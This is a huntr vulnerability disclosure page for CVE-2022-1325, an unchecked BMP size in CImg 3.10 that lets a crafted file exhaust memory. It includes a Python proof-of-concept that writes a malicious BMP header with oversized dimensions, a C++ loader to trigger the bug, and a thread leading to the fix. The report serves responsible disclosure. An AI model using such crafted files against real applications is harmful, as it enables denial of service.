huntr

unchecked size in _load_bmp leads to RAM exhaustion in version 3.10 in dtschump/cimg

1

✓ Valid Reported on Mar 24th 2022

Description

Via a maliciously crafted bmp file with modified dx and dy header field values it is possible to trick the application into allocating huge buffer sizes like 64 Gigabyte upon reading the file from disk or from a virtual buffer.

Version

This does affect the newest Version of Cimg which is 3.10, commit 607aea7c89fd66470e58a77b126584132d9af8f8 as the time of writing.

Proof of Concept

Due to the fact that I cannot attach files in this format, here is a small python script that will generate a bmp file with given dimmensions. Note that the final buffer size is calculated by multiplying the product of width and height by 3. This code snippet uses a sample value of 5 GB.

```
import struct

def write_size(dx,dy):
    x = struct.pack('I',dx)
    y = struct.pack('I',dy)

    min_bmp_head = list(
                b'BM\xf2Y\x03\x00\x00\x00\x00\x006\x04\x00\x00(\x00\x00\x00
                V\xa8\xab1\x02\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00 \
                \xbcU\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00
                \x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x01
                     )
    min_bmp_head[0x12] = x[0]
    min_bmp_head[0x13] = x[1]

    min_bmp_head[0x14] = x[2]
    min_bmp_head[0x15] = x[3]

    min_bmp_head[0x16] = y[0]
    min_bmp_head[0x17] = y[1]
    min_bmp_head[0x18] = y[2]
    min_bmp_head[0x19] = y[3]

    open('crash.bmp','wb').write(bytes(min_bmp_head))

write_size(833333334,2) # use these two parameters to control dx and dy of
```

then read the file via standard methods:

```
#define cimg_display 0
#include "CImg.h"
#include <iostream>

int main(int argc,const char* argv[]){

    if (argc < 2){
        printf("no img\n");
        exit(1);
    }

    cimg_library::CImg<unsigned char> img;
    img.assign(argv[1]);
}
```

Root cause

altough safe_size (line 11771) does check for overflows of the size_t type, it does allow very large values . One would think that the try/catch block `try { _data = new T` 11885) does not allow for allocations that are too big and would completely attack but actually, allocations that are equal to the maximum available RAM of a system or even numbers that are a bit higher (I tested the 5 GB case on a 4GB RAM machine) will *not* thorw an exception like std::bad_alloc.

Impact

This vulnerability allows an attacker who can send images to an application to force an premature process exit and exhaust system memory, potentially leading to a full system denial of service.

CVE
CVE-2022-1325
(Published)

Vulnerability Type
CWE-400: Denial of Service

Severity
High (7.5)

Visibility
Public

Status
Fixed

Found by

7unn3l
@7unn3l
unranked

Fixed by

7unn3l
@7unn3l
unranked

This report was seen 640 times.

We are processing your report and will contact the dtschump/cimg team w
8 months ago

Chat with us

We created a GitHub Issue asking the maintainers to create a `SECURITY.md` 8 months ago

7unn3l 7 months ago Researcher

Hello, there is an update: The bug was reported, accepted and fixed in dev over here: https://github.com/dtschump/CImg/issues/343

Now we would like to create a CVE but David Tschumperlé, the developer of CImg and me have never before published a CVE before

7unn3l 7 months ago Researcher

fyi: Im currently communicating with David Tschumperlé over email

Jamie Slome 7 months ago Admin

@7unn3l - just responded to you via e-mail. If you can share the URL for this report with the maintainer, once they have signed up, they will be able to access the contents of the report.

From there, they can validate and fix the report, and we can proceed with a CVE 👍

7unn3l 7 months ago Researcher

Hello,

Thanks for responding so quikcly! Actually I just spoke with Red Hat Inc. and they said that they will assign a CVE as soon as the vuln is fixed in upstream master. I did this because I doubt that David Tschumperlé will join into this format but I can try sending him the invite link at least :)

David 7 months ago Maintainer

Indeed, I validate the report. @7unn3l helped us to fix this issue in CImg.

David 7 months ago Maintainer

I'd like to mark it as fixed, but want to reward 7uun3l for the fix, not me (who is the author of the commit). Is there a way to do it ?

Jamie Slome 7 months ago Admin

If you marked it as fixed, we can go ahead and give @7unn3l the credit and bounty. Our current system first requires the researcher to submit a patch, which is why you cannot select them.

I will update our database though, to reflect that @7unn3l is the fixer after you have `marked as fixed` 👍

David Tschumperlé validated this vulnerability 7 months ago

7unn3l has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

David Tschumperlé marked this as fixed in 3.1.0 with commit 619cb5 7 months ago

7unn3l has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

7unn3l 7 months ago Researcher

Thank you both for your time and dedication! :D

Jamie Slome 7 months ago Admin

We can now go ahead and assign and publish a CVE, would you like us to do this on your behalf?

@dtschump @7unn3l

7unn3l 7 months ago Researcher

@jamieslome thank you for the offer. Currently, there exists an already running CVE process with Red Hat Inc. and I am pretty positive that the CVE will be assigned over this channel.

Jamie Slome 7 months ago Admin

@7unn3l - sure, no worries. If you could let me know what the CVE ID is, and e included in the references for the CVE, it would be appreciated!

7unn3l 7 months ago Researcher

@jamieslome I'll do! The entry in question is CVE-2022-1325 :)

Jamie Slome 7 months ago Admin

Attached the CVE to the report 👍

Jamie Slome 7 months ago Admin

I've also rewarded you with the credit for fixing this vulnerability, as requested by the maintainer.

Great job all! 🎊

Jamie Slome 7 months ago Admin

Qualified fix added here:

https://github.com/dtschump/CImg/pull/348

Jamie Slome 7 months ago Admin

Qualified fix commit:

https://github.com/dtschump/CImg/pull/348/commits/37cf0c1e5eeafb5b759c1a36423eb3dae27dbee8

Sign in to join this conversation

Chat with us

huntr

home

hacktivity

leaderboard

FAQ

contact us

terms

privacy policy

part of 418sec

company

about

team

Chat with us